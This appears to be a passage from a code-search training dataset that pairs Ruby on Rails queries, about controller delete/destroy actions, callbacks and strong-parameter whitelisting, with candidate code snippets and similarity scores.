"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @aucrecord.destroy\n respond_to do |format|\n format.html { redirect_to aucrecords_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def orchio_delete\n response = client.send_request :delete, inst_args\n orchio_status response, 204\n end",
"def destroy\n @patchcord.destroy\n respond_to do |format|\n format.html { redirect_to patchcords_url, notice: 'Patchcord was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def destroy\n @crust = Crust.find(params[:id])\n @crust.destroy\n\n respond_to do |format|\n format.html { redirect_to crusts_url }\n format.json { head :no_content }\n end\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def delete(*args)\n prepare_request(:delete, args)\n @@client.add(:delete, @path, *args)\n end",
"def delete(*args)\n request(:delete, *args)\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def destroy\n @cephalopod.destroy\n respond_to do |format|\n format.html { redirect_to cephalopods_url }\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @crowd = Crowd.find(params[:id])\n @crowd.destroy\n\n respond_to do |format|\n format.html { redirect_to crowds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end",
"def delete!\n Recliner.delete(uri)\n end",
"def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n client.delete(url)\n @deleted = true\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete\n api(\"Delete\")\n end",
"def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n @uuid = params[:uuid]\n respond_to do |format|\n format.html { redirect_to :controller => 'ads', :action => 'admin_dash', :id => 1, :uuid => @uuid }\n format.json { head :no_content }\n end\n end",
"def destroy\n @couch.destroy\n respond_to do |format|\n format.html { redirect_to couches_url, notice: 'Couche was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(*args)\n execute(:delete, *args)\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def destroy\n @chronicle.destroy\n respond_to do |format|\n format.html { redirect_to chronicles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clonet = Clonet.find(params[:id])\n @clonet.destroy\n\n respond_to do |format|\n format.html { redirect_to clonets_url }\n format.json { head :no_content }\n end\n end",
"def delete(*rest) end",
"def delete!\n request! :delete\n end",
"def destroy\n @conductor = Conductor.find(params[:id])\n @conductor.destroy\n\n respond_to do |format|\n format.html { redirect_to conductors_url }\n format.json { head :no_content }\n end\n end",
"def delete\n api_client.delete(url)\n end",
"def destroy\n @v1_chore = Chore.where(id: params[:id])\n if @v1_chore.destroy\n head(:ok)\n else\n head(:unprocessable_entity)\n end\n end",
"def destroy\n @cordinator.destroy\n respond_to do |format|\n format.html { redirect_to cordinators_url, notice: 'El cordinador se ha eliminado correctamente' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contacter = Contacter.find(params[:id])\n @contacter.destroy\n\n respond_to do |format|\n format.html { redirect_to contacters_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @couch.destroy\n respond_to do |format|\n format.html { redirect_to couches_url, notice: 'Couch was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client.delete( name )\n end",
"def delete *args, &block\n res = @conn.delete *args, &block\n handle res, parse: false\n end",
"def destroy\n @diapo = current_church.diapos.find(params[:id])\n @diapo.destroy\n\n respond_to do |format|\n format.html { redirect_to diapos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @curso.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def destroy\n @my_studio_client = MyStudio::Client.find(params[:id])\n @my_studio_client.destroy\n\n respond_to do |format|\n format.html { redirect_to my_studio_clients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @cordinate.destroy\n respond_to do |format|\n format.html { redirect_to cordinates_url, notice: 'Cordinate was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dart = Dart.find(params[:id])\n @dart.destroy\n\n respond_to do |format|\n format.html { redirect_to darts_url }\n format.json { head :no_content }\n end\n end",
"def delete\n delete_from_server single_url\n end",
"def delete(object)\n full_name = extract_full_name object\n post 'api/del', :id => full_name\n end",
"def destroy\n @client.delete(@name)\n end",
"def destroy\n orden@client.destroy\n end",
"def destroy\n @fundamental_guild = Fundamental::Guild.find(params[:id])\n @fundamental_guild.destroy\n\n respond_to do |format|\n format.html { redirect_to fundamental_guilds_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @cict.destroy\n respond_to do |format|\n format.html { redirect_to cicts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @consorciot.destroy\n respond_to do |format|\n format.html { redirect_to consorciots_url, notice: 'Consorciot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @diagnoz = Diagnoz.find(params[:id])\n @diagnoz.destroy\n\n respond_to do |format|\n format.html { redirect_to diagnozs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @distro = Distro.find(params[:id])\n @distro.destroy\n\n respond_to do |format|\n format.html { redirect_to distros_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @acd = Acd.find(params[:id])\n @acd.destroy\n\n respond_to do |format|\n format.html { redirect_to acds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end",
"def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end",
"def destroy\n @commtent1 = Commtent1.find(params[:id])\n @commtent1.destroy\n\n respond_to do |format|\n format.html { redirect_to commtent1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chord.destroy\n respond_to do |format|\n format.html { redirect_to chords_url, notice: 'Chord was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @corp.destroy\n respond_to do |format|\n format.html { redirect_to corps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datoscontacto = Datoscontacto.find(params[:id])\n @datoscontacto.destroy\n\n respond_to do |format|\n format.html { redirect_to datoscontactos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nodo.destroy\n respond_to do |format|\n format.html { redirect_to nodos_url }\n format.json { head :no_content }\n end\n end",
"def delete\n redis.eval(LUA_SCRIPT_DELETE, :keys => [build_key('*')])\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def delete(path, params)\n parse_response @client[path].delete(:params => params)\n end",
"def destroy\n @coche.destroy\n respond_to do |format|\n format.html { redirect_to coches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lyric.destroy\n respond_to do |format|\n format.html { redirect_to lyrics_url }\n format.json { head :no_content }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def delete(path, params = {})\n debug_log \"DELETE #{@host}#{path} params:#{params}\"\n res = connection.delete path, params\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end",
"def soccer_delete\n base_delete(params, \"Soccer\")\n end",
"def destroy\n dns_entry_response = RestClient.delete('https://api.cloudflare.com/client/v4/zones/:zone_identifier/dns_records/:identifier',:content_type => :json, :accept => :json, :'x-auth-key' => session[:key] :'x-auth-email' => session[:email])\n @dns_entry.destroy\n respond_to do |format|\n format.html { redirect_to dns_entries_url, notice: \"Dns entry was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @secubat_client = SecubatClient.find(params[:id])\n @secubat_client.destroy\n\n respond_to do |format|\n format.html { redirect_to secubat_clients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @uchronia = Uchronia.find(params[:id])\n @uchronia.destroy\n\n respond_to do |format|\n format.html { redirect_to uchronias_url }\n format.json { head :no_content }\n end\n end",
"def deletes_to(path,opts={},&block) #:nodoc: \n crud_to(:delete,path,opts[:params] || {},opts,&block)\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @client.destroy\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @distro = Distro.find(params[:id])\n removefromaccount(\"distros\", @distro)\n @distro.destroy\n\n respond_to do |format|\n format.html { redirect_to distros_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @jedi = Jedi.find(params[:id])\n @jedi.destroy\n\n respond_to do |format|\n format.html { redirect_to jedis_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7154911",
"0.70884067",
"0.68288934",
"0.6817627",
"0.67835057",
"0.6726949",
"0.67020905",
"0.6690973",
"0.6690973",
"0.66839653",
"0.6681377",
"0.66765755",
"0.6670921",
"0.66430354",
"0.66335666",
"0.66227686",
"0.66227686",
"0.66227686",
"0.66227686",
"0.65747535",
"0.6565602",
"0.6562288",
"0.65568256",
"0.6540634",
"0.65301216",
"0.65216094",
"0.6520767",
"0.65178233",
"0.65178233",
"0.6495165",
"0.64889306",
"0.6488673",
"0.6482926",
"0.6482591",
"0.648109",
"0.647496",
"0.64710206",
"0.6461141",
"0.6442538",
"0.64300513",
"0.64292574",
"0.6423967",
"0.6413871",
"0.64099646",
"0.63993543",
"0.638895",
"0.63853663",
"0.6384361",
"0.6381654",
"0.6380081",
"0.6367003",
"0.63666147",
"0.6357062",
"0.635586",
"0.6347523",
"0.63337916",
"0.6332474",
"0.6328319",
"0.6327394",
"0.6322773",
"0.6316692",
"0.63137513",
"0.6313451",
"0.63119125",
"0.6310621",
"0.63103694",
"0.63080627",
"0.6307867",
"0.6305908",
"0.63051754",
"0.62981915",
"0.6294805",
"0.6293757",
"0.6291728",
"0.6290527",
"0.6280796",
"0.6280796",
"0.6280796",
"0.6280796",
"0.6280796",
"0.6280796",
"0.6280796",
"0.6280796",
"0.6280796",
"0.62790376",
"0.627592",
"0.62755734",
"0.62735456",
"0.627178",
"0.6271127",
"0.62709904",
"0.6268053",
"0.62606823",
"0.62594473",
"0.62588257",
"0.62583363",
"0.62583363",
"0.6255495",
"0.6253179",
"0.6250893"
] |
0.7665841
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_cord
@cord = Cord.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup_handler\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def before_action \n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def setup_signals; end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def after_set_callback; end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def around_hooks; end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def call\n setup_context\n super\n end",
"def duas1(action)\n action.call\n action.call\nend",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163754",
"0.6045816",
"0.5944853",
"0.59169096",
"0.58892167",
"0.58342934",
"0.5776148",
"0.57057375",
"0.57057375",
"0.56534296",
"0.56209534",
"0.54244673",
"0.54101455",
"0.54101455",
"0.54101455",
"0.53951085",
"0.5378493",
"0.53563684",
"0.53399915",
"0.5338049",
"0.53307265",
"0.5312121",
"0.5298173",
"0.5296388",
"0.52952695",
"0.5258086",
"0.52430934",
"0.5237911",
"0.5237911",
"0.5237911",
"0.5237911",
"0.5237911",
"0.52335346",
"0.5232943",
"0.5226392",
"0.52221715",
"0.5217978",
"0.52136153",
"0.52076435",
"0.52067244",
"0.5175402",
"0.5174649",
"0.5173085",
"0.5165201",
"0.5162052",
"0.5157932",
"0.5152905",
"0.5152353",
"0.5150909",
"0.514719",
"0.5138596",
"0.51333916",
"0.51139015",
"0.5113431",
"0.5113431",
"0.5109581",
"0.51066816",
"0.5091428",
"0.5089407",
"0.5082971",
"0.50822043",
"0.50668514",
"0.5055155",
"0.50525695",
"0.50499475",
"0.50499475",
"0.5034445",
"0.50249445",
"0.5022226",
"0.50167644",
"0.5014211",
"0.4999924",
"0.49996212",
"0.49978727",
"0.4989682",
"0.4989682",
"0.49851838",
"0.49817684",
"0.4979687",
"0.49787104",
"0.49688423",
"0.49664098",
"0.49564412",
"0.49561828",
"0.49547398",
"0.4953481",
"0.4952925",
"0.4946049",
"0.494379",
"0.49319315",
"0.49313048",
"0.49269778",
"0.49263066",
"0.49257493",
"0.4924526",
"0.49212465",
"0.49173486",
"0.4915802",
"0.49151486",
"0.49150333",
"0.49147308"
] |
0.0
|
-1
|
Only allow a list of trusted parameters through.
|
def cord_params
params.require(:cord).permit(:racquet_id, :name, :colour)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_whitelist\n [:role, :title]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def allow_params_authentication!; end",
"def whitelisted_args\n args.select &:allowed\n end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def filtered_parameters; end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def expected_permitted_parameter_names; end",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def check_params; true; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def allowed?(*_)\n true\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end",
"def valid_params?; end",
